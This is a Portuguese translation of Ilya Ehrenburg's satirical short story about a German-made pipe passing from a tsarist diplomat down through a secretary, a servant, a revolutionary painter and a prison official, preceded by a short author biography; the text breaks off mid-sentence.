EHRENBURG – O CACHIMBO DO DR. PETERSON

EHRENBURG (1891 – 1967)

ILYA GRIGORIEV EHRENBURG nasceu em
Kiev em 1891.
Oriundo
de uma familia hebraica. Mocidade difícil, encargos penosos levaram-no à revolta contra o
regime vigente em sua pátria. Negaram-lhe, inclusive, a matrícula no curso secundário.

Encarcerado em 1908. Um ano depois,
abandonava a Rússia indo viver na França. Durante oito anos percorreu, a
Europa, tendo voltado à pátria, em 1917, onde exerceu diversas funções. Seu romance
"Júlio Jurenito" conta essa peregrinação européia.

Correspondente durante
a guerra civil espanhola e no correr da última conflagração mundial.

Obras principais:
"Treze cachimbos", "Miguel Likov", "Júlio Jurenito",
"O beco de Moscou", "O amor de Joana Ney",
"Espanha", "O supervisor do
tempo
", "A queda de
Paris
", etc.

Panfletário de
inteligência, rápida e viva, satírico impiedoso, desempenhou, grande papel na
imprensa e na literatura soviética. Condecorado com a ordem de Lênin.

 

O CACHIMBO DO DR. PETERSON

O cachimbo trazia esta
inscrição: "Cachimbo segundo o sistema do doutor Perterson".
obviamente fora feito na Alemanha pelos que inventam o café sem cafeína e o
vinho sem álcool. Consoante o original invento do doutor Peterson, o fumo do
tabaco, passando por diferentes e complicadas espirais, devia perder todas as
qualidades que o caracterizam. Porém o empregado da loja "Chie
Parisien", ao mostrar, o cachimbo ao comprador que o examinou com afetada gravidade, tirou-lhe o complexo mecanismo e
se esqueceu de recolocá-lo.

O fato explica-se facilmente: o
empregado era jovem e, por apreciar os encantos da jovem artista que naquele  momento estava comprando uma
gorra de jóquei, não pôde apreciar devidamente o trabalho do doutor Peterson.

O comprador do cachimbo, Vissarion
Alexandrovitch Dominantov, grande dignitário e orgulho da diplomacia russa, não era menos
distraído. Esqueceu todas as palavras do vendedor, que estabeleceu uma relação
direta entre o invento alemão e a longevidade humana, e não deu tento da perda.
Tinha resolvido adquirir um cachimbo depois de uma visita íntima ao primeiro
conselheiro da embaixada inglesa, sir Haroldo Jemper. Imaginou Vissarion Alexandrovitch que no
círculo íntimo de seus amigos e favoritos o cachimbo lhe daria ao rosto um selo
especial de diplomacia e concentração; ao demais, na só frase "com o
cachimbo na boca" existe algo de especificamente inglês e Vissarion Alexandrovitch
venerava tudo que provinha da longínqua ilha, desde a política de jogar as
potências continentais umas contra as outras, até o amargo doce de cascas de
laranja. Adquiriu o cachimbo do doutor Peterson exclusivamente por sua forma,
que se parecia muito a um submarino. Haroldo Jemper fumava um igual.

Vissarion Alexandrovitch
custou a se fazer ao seu cachimbo. Entre este e os cigarros, especialmente preparados
pela fábrica de Bostandjoglo com as melhores qualidades de tabaco, havia um mar de
experimentos que, está visto, constituíam a diferença entre a vida de um
diplomata e a de um simples mortal. O cachimbo se apagava a miúdo, deixando na
boca um gosto amargo e exigia cuidados especiais. Como tudo que pertence a um
diplomata, como a côr do rosto cie sua amante, a soprano ligeira Kulishova,
como a cauda de seu cavalo "Jema", como o botão de seu pijama de
dormir, o cachimbo não podia ser simplesmente um cachimbo: devia representar o
poder e a boa ordem do Império Russo. Para isso, enquanto o subsecretário
Nevashein preparava os informes, Vissarion Alexandrovitch raspava o cachimbo
com limas de prata, cobria-o de verniz e pacientemente o friccionava com camurça. O cachimbo chegou
a reluzir
com o
negro de sua madeira e o ouro do anel que o adornava.

A pouco e pouco Vissarion
Alexandrovitch se apaixonou por seu cachimbo. Fumava-o em seu amplo escritório,
trabalhando com um montão de informes, recortes de jornais e telegramas
cifrados. Fumava-o no pequeno camarim da artista Kulishova, esperando que ela
despisse a incômoda vestimenta para alegrar o coração do dignitário com uma inocente camisa
infantil de listas côr-de-rosa. E por fim o fumava ao dormir, só recordando e
examinando o dia transcorrido, seus bons e maus êxitos, o prestígio do Império
Russo e os namoriscos da Kulishova, a riqueza, a fama e as abundantes cãs que por casualidade vira ao
espelho.

Quando o dia era mau porque
vencia o partido inimigo, o de von Stein; ou os enviados de Vissarion Alexandrovitch em Tokio ou
em Belgrado cometiam erros; ou o encarregado de sua estância lhe comunicava que
os preços do trigo haviam baixado; ou a Kulishova recebia demasiados obséquios
do cortesão
Tchermanov, o
dignitário,
irritado,
mordia o cachimbo porém no seu delicado cabo de chifre mal se via o sinal dos
dentes.

Vejamos como se produziu a
primeira comoção na vida deste cachimbo novo e elegante.

Desde a manhã Vissarion
Alexandrovitch esteve nervoso e irritado, por causa da noite passada sem dormir
e com mau gosto na boca. Sem tocar a dejejua, tomou com uma careta de
desagrado um copo de água mineral. O secretário Nevashein trouxe vários
telegramas e jornais. Após abrir "Novoie Vremia" (1), Vissarion Alexandrovitch quedou-se
pasmado: seu partido se havia oposto ao acordo com a Rumânia, mas quando, graças às maquinações
de von Stein, firmou-se o convênio, Vissarion Alexandrovitch contou com a rápida
derrota do exército romeno. Só neste acontecimento via a garantia do futuro
êxito de sua carreira diplomática. E agora o diário anunciava a comum vitória
dos russos e dos romenos. O dignitário estava indignado. Durante
muitos anos abrigara a profunda convicção de que seus êxitos pessoais e o bem
da Rússia eram única e mesma cousa.   Se tivessem derrotado e vencido aos romenos e aos russos,
isto significaria o fim de von Stein e a vitória dele, Vissarion
Alexandrovitch: por conseguinte, a felicidade do querido Império Russo. Assim pensava
o dignitário.
Meditando
nisso, aborrecido, sentou-se para almoçar. A carne com molho "à
rainha" cheirava a lata e as "peras imperiais" pareciam de
caucho. Depois do almoço leu a carta do administrador de suas propriedades que
anunciava ter sido má a colheita e haver um incêndio destruído duas casas na
estância "Razlutchevo", enquanto na "Ivernin", onde estava seu magnífico estábulo, declarara-se o mormo.

(1)   Novos tempos.

Nervoso e mal-humorado,
Vissarion Alexandrovitch resolveu ir visitar a Kulishova, ouvir a soprano ligeira e ver
a camisa infantil. Atravessou o vestíbulo todo em desordem e ao abrir a
porta do dormitório deu com a camisa do cortesão Tchermanov, que não tinha nada de
infantil.

De volta a sua casa, o dignitário recostou-se e tomou do
cachimbo; sentia dor nas fontes e tudo lhe repugnava. Via claramente que a Rússia
perecia, que perecia o seu amor, que êle próprio perecia: Vissarion Alexandrovitch
Dominantov, encanecido, velho e que não fazia falta a ninguém. Queria chorar,
porém lhe faltavam as lágrimas. Só sentiu na boca um saibo amargo e desagradável.

"Como é horrível o gosto deste cachimbo" —
pensou e tocou a campainha.

Entrou o secretário Nevashein,
entregou-lhe o diário da noite e inclinando-se respeitosamente felicitou o dignitário pela grande vitória na frente.
— Idiota! — exclamou sem nenhuma diplomacia Vissarion Alexandrovitch, sabendo
que à sua frente não se achava sir Haroldo Jemper, senão um simples empregado. Um momento após
acrescentou: — tome para você este cachimbo. Não vou mais fumá-lo. Este é o
presente que lhe faço em honra à grande vitória. Pode ficar contente: é um
excelente cachimbo feito segundo o sistema do doutor Peterson.

Um objeto é mais duradouro que
uma palavra.   Na manhã seguinte Nicolai Ivanovitch Nevashein já não se lembrava
da ofensa recebida e gozava-se do inesperado presente. É verdade que antes
nunca fumara cachimbo, conformando-se com os cigarros "Senador" (a
melhor qualidade: 10 cigarros, 6 copeques). Ao acender o cachimbo experimentou
ligeira sensação de náusea. Porém tudo que fazia Vissarion Alexandrovitch era
para Ne* vashein elevado e ardentemente desejado. Pela noite, após recolher no
escritório do dignitário o número velho do "Times", ia Nevashein à
cervejaria, pedia uma garrafa de "porter" e ervilhaca ensopada e
rapidamente devorava tudo.

Após ter visto uma vez nas
corridas como o dignitário pedia uma botelha de "porter", seu secretário o imitava,
embora duvidasse muito de que Dominantov comesse a desprezível ervilhaca e
muito menos ensopada. Depois, dignamente, tirava de sua pasta o jornal e lia-o
durante largo bocado, ainda que do inglês compreendesse muito pouco, quase
exclusivamente os nomes das cidades e das pessoas. Às vezes se lhe achegava à mesinha o professor secundário Virenko ou o escrivão Blum. Então Nevashein,
condescendente, deixava escapar algumas palavras significativas: "Os
interesses do Império"…, "a dignidade"…, "a sabedoria
absoluta"…

Ao receber o cachimbo percebeu
logo que era mais convincente que o jornal inglês e que o "porter". A
marca dos dentes do dignitário enterneceu-o até as lágrimas e quando seus dentinhos a encontraram o secretário
punha-se a sonhar: via-se rico e poderoso, embaixador no Sião ou na Abissínia. De línguas conhecia Nevashein
apenas o que se aprende no colégio e por isso compreendia não poder ser enviado
como embaixador a um país europeu. Mas, e ao Sião? O idioma siamês ninguém o sabe.

Afeito ao cachimbo, deu de
fumá-lo a miúdo: em casa de Dominantov, classificando as cartas ou descansando
após receber os visitantes; em casa do chefe da chancelaria, Shtukin, a quem
freqüentava exclusivamente por sua esposa, Helena Ignatievna; fumava de noite
em sua casa refestelado no velho sofá, vacilante entre ir à cervejaria onde
serviam mau "porter", mas onde em compensação se lhe clava ensejo de
pronunciar palavras diplomáticas, ou mandar o velho servente Atanásio comprar
aguardente e tomá-la sem cumprimentos, suspirando pelo título de embaixador no
Sião e pelo busto da formosa Helena, isto é, a esposa de Shtukin.

Nevashein cuidava de
seu físico: para não ficar careca lavava a cabeça com água de quina, galaneava
colarinhos altos com pontas viradas, tipo "lord gray", de 85 copeques cada um e até
empoava as faces sardentas. Há muito resolvera, firmemente, seguir a carreira
diplomática e, aguardando a designação para o Sião, ocupou o lugar do
secretário Blojin, que, apesar de seu apelido comprometedor, (2) tinha algumas boas
qualidades: conhecia idiomas, possuía um belo físico e sabia, com arte
especial, elegante e serena, dobrar a cintura para saudar.

Assim Nevashein,
cuidando de seu físico e empoan-do-se, esperava converter-se no formoso
"Paris", mas sem causar uma guerra (guerra havia muitas sem êle),
grangear a atenção e algo mais da linda Helena, esposa de Shtukin. Pela mesma
razão conservava o cachimbo dignamente, raspando-o com um canivete, limpando-o
com uma meia velha que, depois de muitas lavaduras, ficou viúva e servia para
diferentes misteres.

Queimou-se o cachimbo. Ao perder
seu aspecto elegante adquiriu um aspecto mais sólido. O sinal do dente
sobressaía com mais nitidez. Quando o dignitário repreendia seu secretário e
elogiava Blojin; quando, atento à carestia da vida, era necessário privar-se da opereta em voga e
de uma gravata nova; quando Helena Ignatievna cismava de namoriscar o subtenente
Ershov e mofava das sardas de Nicolai Ivanovitch, os pequenos e afiados dentes
de Nevashein cravavam-se
fortemente
na boquilha de chifre do cachimbo.

Certa vez, numa segunda-feira, que é dia pesado,
soube Nevashein que não haveria presente de Natal para as festas. Esta notícia
riscou de sua lista os sapatos novos, um colete, uma linda confeiteira,
presente de Ano Novo para a esposa de Shtukin, e muitas outras cousas, entre
elas uma garrafa de vinho.

 

(2)   "Bloja" em
russo significa pulga.

Nunca se deve encetar
um assunto sério numa segunda-feira. Nevashein desprezou este sábio conselho. Sem
contar mais com a força da confeiteira e aproveitando a circunstância de
haver-lhe o dignitário concedido o dia livre até a noite, decidiu enfim empreender
uma ofensiva contra o coração, ou melhor, contra o busto de Helena Ignatievna.
Tal como previra, Shtukin não estava em casa, de modo que tudo predispunha a
uma conversa íntima. Sorrindo diplomaticamente, "à Domi-nantov", caiu
de joelhos, apertando com o colarinho "lord gray" a mão da formosa
Helena e aproximou-a
dos
lábios. A terna esposa do chefe da chancelaria não só não se agastou, como lhe
passou carinhosamente a mão pelo colarinho e pelas faces. Cerrando os olhos, o
secretário apoiou a cabeça no sonhado busto, murmurando algo indecifrável.

O despertar não foi
precisamente dos mais agradáveis: entreabrindo os olhos, Nevashein viu a
fisionomia abominável do subtenente Ershov que mal continha o riso. Acompanhou-o quêdamente, porém de
todo o coração, ria a esposa de Shtukin. Nevashein dirigiu-se para a porta e,
mirando-se casualmente ao espelho do vestíbulo, viu que estava burlescamente
desfigurado: em seu pescoço, entre os dois ângulos virados do colarinho
"lord gray", sobre seu varonil pomo-de-adão estavam desenhados com
carvão uns sinais de exclamação e suas faces, por cima de sardas e pó,
estampavam reticências.

Nevashein entrou no
escritório do dignitário completamente esmagado pelos sucessos do dia. Da
obscuridade do aposento, em resposta ao ranger da porta, ouviu-se uma só exclamação:

—   Idiota!

Era a segunda vez que
isso acontecia desde que era seu secretário. Porém da primeira se permitira
felicitar o dignitário, dizer alguma cousa, abeirar-se da mesa. Desta feita foi
uma ofensa completamente gratuita. Ao demais, na primeira ocasião, ao insulto, seguiu-se um presente, o
cachimbo; na segunda, Vissarion Alexandro-vitch redobrou a ofensa com a frase:

—   Retire-se e mande-me logo Blojin!

À noite, Nevashein mandou Atanásio buscar aguardente (vodka já não havia).   Bebia e fumava seu cachimbo.
Tríplice amargura enchia-lhe o ser: a da aguardente, a do fumo do tabaco e a
das ofensas inesquecíveis. Como podia êle, um mísero empregado, sonhar com o Sião, com o lindo busto de ‘Helena
Ignatievna, com a tentadora existência predestinada aos Dominantov, aos
oficiais, aos ricos e belos; que era accessível a todos, menos àquele que a
idade de quarenta e quatro anos permanecia como secretário, com um pomo-de-adão
famoso e muitas sardas?   Tomou outro copo.   Sentiu um gosto abominável na
boca. E abominável era tudo. Quem tinha a culpa?   A quem acusar?   Nevashein
enumerou mentalmente todos os culpados: Dominantov, Ershov, Deus, o azar, até Shtukin,
porém nada o satisfazia. Então lhe subiram inesperadamente à tona da memória as
velhas palavras e viu claramente que o principal culpado estava em sua boca: o
alemão que inventou categorias e sistemas; que fêz tudo dental maneira que não
se podia beliscar o nariz de Dominantov, não se podia tomar pela força Helena
Ignatievna.   Não se podia fazer nada e tudo por culpa do doutor Peterson…

E tirando o cachimbo da boca,
Nevashein gritou desesperadamente:

—   Abaixo os alemães!

E quando Atanásio entrou assustado,
arremessou-lhe à cachimônia o odioso pito.

Na manhã seguinte, Atanásio entregou a Nicolai Ivanovitch o cachimbo, que por sorte não
lhe magoara a cabeça na véspera. Porém o secretário, tremente de cólera, murmurou:

—   Podes fumá-lo tu…    Eu não posso, o médico proibiu-mo.

E em seguida, recordando-se de
alguma cousa e envergando o capote, disse:

—   Ótimo cachimbo, feito por um
doutor. Não me lembro o nome… um
alemão…

Atanásio agradeceu o presente. Ao ficar
só, pensou: "Para que quero este cachimbo?" Fumava cigarros "Molodetz" que vendiam no armazém
vizinho. Porém o cachimbo era um objeto dos "senhores" e, decerto, um objeto bom, e Atanásio começou a fumá-lo assim como
usava os sapatos de Nevashein, demasiado estreitos para êle; como bebia nos dias de festa as sobras do
doce má-laga, vinho que lhe dava náuseas.

Em pouco se acostumou ao
cachimbo, como se habituara às camisas de peitilho duro, às adulações, ao ascensor, às mentiras. Fazia 40 anos que
chegara de sua aldeia natal e já estava completamente adaptado à difícil vida
de São Petersburgo. Não limpava o cachimbo e este, que de rapaz casquilho passara a senhor distinto,
converteu-se em campônio sujo e escuro que nem o peito de uma negra; o anel de
ouro cobriu-se de uma camada verdosa e não mais brilhou. Porém Atanásio se afeiçoou ao cachimbo e ternamente passava a mão por sua tíbia
madeira. Seus dentes, amarelos como os de um cavalo, entrosavam com carinho no
ôco deixado por outros dentes.

Porém o cachimbo devia passar
ainda por muitas provas. É verdade que Atanásio não sonhava com a vitória do
Império, nem com o posto de secretário-mor, nem com o formoso corpo de alguma
pessoa de proceder leviano; para tanto era demasiado velho. Mas em seu coração
também reinava a inquietude, o medo de perder o que possuía.

Durante quatro anos Atanásio viveu tranqüilamente em casa
de Nevashein com sua esposa Glasha, que ia de dia ajudar como lava-pratos a cozinheira do
fabricante Petrosolov. Nos últimos meses; porém, Nevashein começou a
irritar-se: insultava Atanásio continuamente e sem causa alguma, examinava
cuidadosamente todas as contas, até as insignificantes e, numa palavra, amargava a
existência do velho servente.   Por algumas expressões soltas, compreendia Atanásio que o secretário se zangava
assim com êle para descarregar ofensas recebidas de outros.   Sabia que o
secretário era ofendido por seu chefe, o poderoso dignitário; sentado ao anoitecer na porta,
com o cachimbo nà boca, chegou à conclusão de que o dignitário certamente era ofendido pelo
czar, mas já não conseguia compreender quem é que ofendia o czar e deixando esses pensamentos tão
elevados, de novo se apoderou dele o medo de que Nevashein, ofendido por

alguém, o despedisse. Compreendia Atanásio que
então seria o fim. Para onde iria êle, velho, enfermo, sem saber nenhum ofício,
agora que para cada vaga chegavam dez criados e todos com diplomas? Sua
segunda inquietude era Glasha. Não sabia bem o que censurar-lhe, mas acaso pode estar tranqüilo um marido que tem uma
mulher vinte anos mais jovem que êle?

E o cachimbo chirriava lastimosamente entre seus dentes.

Nicolai Ivanovitch
regressou do emprego demasiado cedo. Sem tirar o capote passou ao dormitório e
atiran-do-se sobre a cadeira ululou: — Atanásio! Em meu lugar nomearam o sogro de Blojin…
Assim são as cousas!

Adivinhou Atanásio que
era chegada a hora fatal; todavia, sem saber o que responder, sorriu
culpàvelmen-te, como se fora êle quem despedira Nevashein para pôr-Jhe no lugar
outro de apelido indecoroso e elegante figura. O subsecretário despedido, ao
ver o sorriso do servente, tornou-se furioso:

—   Assina o recibo e
vai-te! Não preciso mais de ti! E no último instante,
por seu costume de imitar Dominantov, levantando
no ar sua barbicha pontiaguda, gritou:

—   Idiota!

Atanásio encaminhou-se em silêncio à casa de
Petro-solov para chamar Glasha e indagar se algum dos serventes sabia de um
lugar vacante.
Porém
a cozinheira Lukeria recebeu-o com um sorriso malicioso e entre res-folgos explicou-lhe, finalmente, que Glasha
se fora com seu amante, o sargento, para a cidade de Samarcand, pedindo-lhe que transmitisse ao
marido os seus cumprimentos e a promessa de escrever-lhe. Ao dizer isso desandou
a sorrir de novo, por entre resfolgos e, com ela, a nova lava-pratos, as três
serventes, o cocheiro, o moço de recados, os gatos e os cachorrinhos lanudos. Todos zombavam o pobre
Atanásio.

Foi-se, embora não tivesse
aonde ir. Sentou-se
num
banco, junto a um portão alheio e tomou o cachimbo. Ao lado um jovem pintor de
portas e janelas pintava o muro. Atanásio sentiu inveja: canta, trabalha, é
jovem, não tem esposa e se quiser poderá pilhar uma mulher alheia, como fizera
o sargento. Pode também ir para o campo. No vilarejo de Tchilhovo assistem os
irmãos de Atanásio; não têm sapatos, nem vinhos, nem cachimbo; em compensação,
têm a alma tanqüila.
E
êle, o velho servente, não tem aonde ir; em toda a enorme cidade de São
Petersburgo não há um canto para êle. Durante quarenta anos limpou as botas,
espanou o pó, beijou as mãos, recolheu propinas e agora está sentado ao pé de
uma casa alheia; está sentado enquanto não o enxotam. Foi-se a mulher, foram-se todos…   Está só!…

E, pela primeira vez
na vida, sentiu Atanásio a amargura do destino do servente, a amargura do marido
burlado, a amargura da velhice, a amargura de toda a vida humana. Sentiu-a pofundamente na
garganta, nas gengivas, sob a língua.

Tirou o cachimbo da
boca e cuspiu várias vezes. Depois se aproximou do rapaz que pintava o muro, estendeu-lhe o cachimbo e disse-lhe:

— Toma-o para ti, irmão… Fuma-o tu que tens saúde. A mim já não me serve, sou velho.
Não te assustes, é um bom cachimbo…
alemão.

O pintor, Fedika Fart, cujo passaporte rezava "Fedot Kovilov",
maravilhou-se
ao receber o cachimbo corno se lhe tivesse caído do céu. Deixou a brocha e
sentou-se na calçada. Pôs-se a examinar aquele objeto tão raro, cheirou-o,
passou a língua pela madeira escura, raspou a camada verde do anel que começou
a brilhar como nos felizes dias de Dominantov. Depois de brincar com o pito um
largo bocado, sacou do bolso um punhado de tabaco barato que tinha desde algum
tempo, encheu o cachimbo, acendeu-o, levou-o à boca e entrecerrou os olhos de
prazer.

Desde esse momento nunca mais
se separou do cachimbo. Quando não pitava, mastigava pão ou cantava. Tudo que
Fedika fazia, fazia-o bem. Mastigava cuidadosamente, com um ruído que lembrava
o ruminar
de todo um
rebanho de vacas. Cantava sonorosamente, com voz sã, elevando alto,
muito alto o tom, desprezando as palavras e repetindo somente "i… i… i…" 
Pintava ainda melhor. Pintava
de tudo: paredes, portas, igrejas, bancos, hospedarias e caramanchéis. Pintava
com côr ocre, vermelha, branca e azul. O vermelho era a sua côr predileta e sempre lamentava que
ninguém quisesse uma casa toda vermelha e só lhe permitissem pintar com essa
côr uma estreita faixa. Cada vez que dissolvia e mesclava no balde a tinta
rubra, punha-se
muito
alegre, sem causa alguma, como se preparasse um garrafão de vinho; e continuava
cantando seu sempiterno "i… i… i… " e os transeuntes o
contemplavam e diziam: "Que pintor alegre!"

De uma feita, atravessando o Sestroretzk (bairro
de quintas) ao pôr do sol, Fedika a mirar o céu com escassas nuvens azuladas,
generosamente recoberto de côr púrpura real. O pintor não se pôde conter,
largou no chão a escada que levava e gritou a plenos pulmões:

— Que bem pintado!!

Seus belos dentes
atravessaram a ponta de ágata do cachimbo, porém isso não o prejudicou, pois
Fedika não sabia o que era prestígio ou carreira e de seu só tinha a própria
vida. Estava tranqüilo,
era
jovem e desprovido de tudo, como um pássaro. A miúdo se encontrava com moças e
beijava-as
na
quietude noturna,
mas
quando a jovem que na véspera o havia beijado beijava outro, Fedika não mordia
desesperado a ponta do cachimbo, nem se queixava de seu saibo amargo.

Seguramente o cachimbo
haveria terminado pacificamente sua vida tormentosa um ou dois anos depois,
completamente queimado, se não se tivesse imiscuído em seu modesto destino a
estravagante História. O cachimbo, que caiu no fundo da vida humana, e ali
encontrou a tranqüilidade,
convertido
num objeto
deforme,
porém muito querido, este cachimbo, que em seu tempo se chamava "o
cachimbo do doutor Peterson", pelo capricho do destino que joga com
séculos, com vidas humanas e com a baixela dos lares, de novo subiu às alturas.
Da boca de um pintor passou à de um grande dignitário, embora o continuasse
fumando o mesmo Fedika Fart cujo passaporte rezava "Fedot Kovilov".

Este postumeiro
sucesso, estranho à primeira vista tem sua explicação num fato conhecido que
sucedeu na Rússia durante o ano de 1917.

Fedika Fart, jovem e
alegre e que mais que a todas as cousas amava o canto e a côr vermelha, era,
está visto, partidário daqueles que queriam, com seus cantos, sacudir a cidade
de São Petersburgo e cobrir com a côr vermelha não só os muros, como também o
céu por cima da cidade e mais além, por cima das Índias, do Senegal e dos dois
pólos.   Caminhava, movia as mãos e falava rapidamente e em voz alta; quando
necessário, fazia disparos.   Como já dissemos, tudo que êle fazia, fazia-o muito bem.   Enquanto
isso se referia a seu modo de mastigar o pão, a seus cantos e à pintura dos
muros, ninguém se interessava pelas capacidades de Fedika. Mas quando deu para
falar, mover as mãos, gritar e fazer disparos, todos decidiram que era um
excelente chefe o camarada Fedot, que até havia pouco era um dos últimos, converteu-se num dos primeiros.  
Durante os comícios, as demonstrações e as lutas rueiras, o camarada Fedot não
tirou o cachimbo da algibeira.   Ali permaneceu esperando, como o grão na
terra, seu segundo nascimento.

Quando transcorreu o necessário lapso de tempo e o
camarada Fedot, no palácio dos príncipes, começou a ouvir informes e receber
visitantes, o cachimbo reapareceu no mundo, negro, enrugado, parecido a uma
velha monja.   Porém o encontro do pintor com o cachimbo não foi alegre;
dir-se-ia que não se reconheceram.   O camarada Fedot agora só cantava hinos nas
recepções oficiais, perfilando-se devidamente; mastigava o pão devagar, sem
ruído; e em vez de pintar paredes assinava decretos.   Talvez por isso o
cachimbo lhe parecesse amargo.   Em alguns meses o camarada Fedot adquiriu
conhecimento para os quais Vissarion Alexandrovitch necessitou longos anos:
começou a considerar os seus assuntos particulares como gerais.   É verdade
que nunca mencionou o Império, porém se vencia uma partida, um grupo ou uma fração contrária a êle,
tirava o cachimbo da boca e gritava, dizendo que periclitava a dignidade da
República Russa.

Para cúmulo o camarada Fedot se amoriscou de
uma senhorita inteligente que pertencia ao partido, a companheira Olga; enamorou-se pela comunhão de idéias e, por isso, quando a
companheira Olga saía ao entardecer para passear com o camarada Sérgio, Fedot
sofria e seus dentes tropeçavam com uma depressãozinha na ponta de* ágata do
cachimbo.

Num caloroso dia de
julho, recebeu o camarada Fedot um telegrama comunicando-lhe que na assembléia vencera o partido do
companheiro Vigov. Quase ao mesmo tempo lhe trouxeram uma carta da companheira
Olga, a qual lhe participava que, desprezasse embora a instituição matrimonial,
em nome da pureza ética achava necessário noticiar aos trabalhadores do bairro
que, desde o dia 12 de julho, era a amiga de Sérgio. Os termos do
telegrama e da epístola eram secos, pareciam de um idioma estrangeiro, soavam
como o teclado da máquina de escrever: declarações, instruções, informações.
Porém as inúteis palavras caíam como vestidos que se despem e Fedot viu com
clareza a própria situação: Vigov era inteligente e astuto e havia-lhe passado a perna,
arrebatando-lhe o poder, isto é, a possibilidade de assinar papéis e mandar,
quer dizer, viver como é devido; a seu lado, outro, belo e forte, arrancara-lhe dos braços a moça a
quem amava ardentemente e jamais a devolveria. Pela vez primeira conheceu Fedot
a fraqueza, o aborrecimento, a anorexia de viver. E de novo o cachimbo, que
parecia doce naqueles dias remotos, quando Fedika pintava paredes, encheu de
amargor outra boca humana.   Atirou-o sobre a mesa.

Entrou o secretário do
companheiro Fedot, Tchitkes, e perguntou que devia fazer com as instruções.
Fedot olhou-o
irritado:
seguramente este Tchitkes estava contente com a resolução da assembléia, certamente possuía uma
esposa que compartia suas idéias e lhe era fiel, sem com isso manchar a ética
do partido. E, sem pensar em que consistia o pecado do serviçal companheiro
Tchitkes, disse-lhe
Fedot
secamente:

— Não se trata de
instruções e sim de que a comissão declarou a necessidade de tirá-lo de cá e
mandá-lo para a frente de combate.   Tchitkes deixou cair o montão de papéis e olhou-o como olham em ocasiões
similares todos os que estão na idade de ser chamados à frente: camaradas e
cidadãos; nos impérios e nas repúblicas; russos e somalis. Porém o companheiro
Fedot, desde que vira o rosto da História Mundial, deixara de interessar-se pelos rostos humanos e
sem prestar atenção a Tchitkes ajuntou:

— Pode retirar-se, camarada. E tome este
cachimbo para você. Na frente poderá ser-lhe útil. Não se incomode, é um bom
cachimbo.

O companheiro Tchitkes
não fumava. Ignorava muitas outras cousas, absolutamente indispensáveis ao
secretário do camarada Fedot. E nunca soube distinguir o principal: os
inumeráveis partidos, grupos, facções, que furiosamente se odiavam uns aos
outros. Com só pensar em sua própria ignorância Tchitkes tremia e por isso
Fedot, o herói de muitas batalhas, desprezava ainda mais seu secretário.
Tchitkes tremia sempre: quando pres tava exames no colégio; quando o guarda lhe
pedia a senha; quando antigamente passava junto a um agente de polícia; quando
sem querê-lo, viu-se mesclado à multidão embandeirada com o estandarte
vermelho; tremia ao receber sua ração, ao abrir a porta do escritório do companheiro Fedot, ao caminhar ou estar
sentado e até ao dormir, pois via em sonhos os exames, a ratificarão de documentos na
polícia e prisões, suplícios e morte.

Ao deixar o escritório
do superior, Tchitkes, tremendo, pensou antes de tudo como devia reacionar ante o objeto chamado "um bom
cachimbo". Quiçá deveria presentear com êle um amigo que fumasse? Mas logo
se lembrou de que este cachimbo o fumava o próprio camarada Fedot, que
não recebia pessoalmente a todos os solicitantes e que em lugar da firma garatujava so
mente um significativo F. Pelo visto o cachimbo era o sinal da lealdade, e
Tchitkes, depois de trocar por um picote
de tabaco a última camiseta de lã que lhe aquecia um pouco o débil corpo, acendeu o cachimbo.

Depois correu o
secretário todas as repartições pú blicas a fim de solicitar que o não
mandassem para a frente, pois sofria
do coração, dos brônquios, dos rins e do fígado.   Não tirava
da boca o símbolo de sua benignidade revolucionária, o cachimbo oferecido pelo
camarada Fedot, e como antes nunca havia fumado, nem sequer cigarros fracos, a
miúdo se retirava para cuspir nalgum canto afastado.

Tchitkes teve sorte:
em lugar de ser enviado à frente, obteve um lugar de segundo comissário da prisão.
Sabe-se há muito tempo que o
ser humano se acostuma a tudo. Tchitkes habituou-se à prisão, a seu papel de ordenar o destino
alheio e inclusive a seu cachimbo. Inspecionando de manhã as celas, tratava de parecer
majestoso, que nem o camarada Fedot e com o cachimbo entre os dentes mal
cuidados e enegrecidos repreendia os presos. Afeiçoou-se ao pito e quando este,
não podendo suportar tão dilatado serviço a cinco pessoas e dois regimes
políticos, rachou-se,
o
comissário amarrou-o
cuidadosamente
com um barbante.

Não era das mais
fáceis a vida de Tchitkes: como antes, temia a tudo e a todos e especialmente
que a cadeia, sendo de duração relativa, como tantos outros objetos, pessoas e
instituições, pudesse deixar de existir. Então mandariam Tchitkes para a
frente, e a frente, na imaginação do segundo comissário, representava algo
eterno e imutável.

Ademais, Tchitkes
estava desesperadamente apaixonado pela secretária Rosita Ship e só por causa
de seu tremor constante, que lhe impedia expressar-se humanamente, não se atreveu a revelar-lhe os seus sentimentos.
Mas toda noite, após examinar as celas, com o cachimbo, que lhe infundia
coragem, ia o segundo comissário à casa de Rosita e levava-lhe uma ração de açúcar.
Rosita mordia alegremente os pedacinhos de açúcar e, compadecendo o comissário
que sempre tremia, dava-lhe para aquecer-se a sua camiseta de lã, o que alentava as esperanças
que floriam no fundo do coração de Tchitkes.

Inesperadamente se desencadeou a tormenta mais
prosaica; chegou a inspeção e encontrou irregularidades. O superior chamou
Tchitkes e declarou lacônicamente: — Pedi que o despeçam.

Nada disse respeito à
frente, porém Tchitkes o compreendeu.  Já estava disposto a correr de novo as
repartições para demonstrar que sofria dos pulmões e do coração, do fígado
e dos rins e entrou na secretaria. Ali viu a lista dos novos presos, percorreu-a com os olhos e de inópino deu com o
nome "Rosita Ship". Sem poder oonter-se gritou:

—   Como é possível?  
Ship?

O comissário-chefe,
que estava limpando seu revólver, respondeu significativamente:

—   Sim, Ship.

E então Tchitkes
compreendeu que nada mais o podia ajudar, que estava manchado para sempre e
nenhum cachimbo o poderia salvar. Acrescentou sorrindo o comissário-chefe :

—   É a amante de um delinqüente perigoso. Tchitkes não
pôde suportar isso.   Rosita,  "sua"

Rosita, era amante de alguém… Tudo se lhe misturou
no ser: o medo, os ciúmes, o desespero. Correu com o cachimbo pelo obscuro
corredor do cárcere e tremia tão fortemente que precisava segurar com ambas as
mãos a cabeça para que lhe não caísse o pito. Sentia na boca o travo da morte,
qual se estivese morto e em estado de decomposição, o pequeno Tchitkes, segundo
comissário da prisão, suposto cúmplice, que perdera para sempre Rosita Ship.

Tchitkes abriu
rapidamente a porta da cela número 62, onde estava um preso alto e magro, a quem de
um dia para outro deviam fuzilar, e estendeu-lhe o cachimbo:

—   Tome…   Tome-o, cidadão!…

E embora tremesse
(ele, Tchitkes, e não o preso) o segundo comissário achou prudente tranqüilizá-lo e disse:

—   Não se assuste, é apenas
um cachimbo…

Na cela número 62 estava o ex-dignitário
do Império, Vissarion Alexandrovitch Dominantov. Tomou da mão do comissário o objeto que pouco se parecia
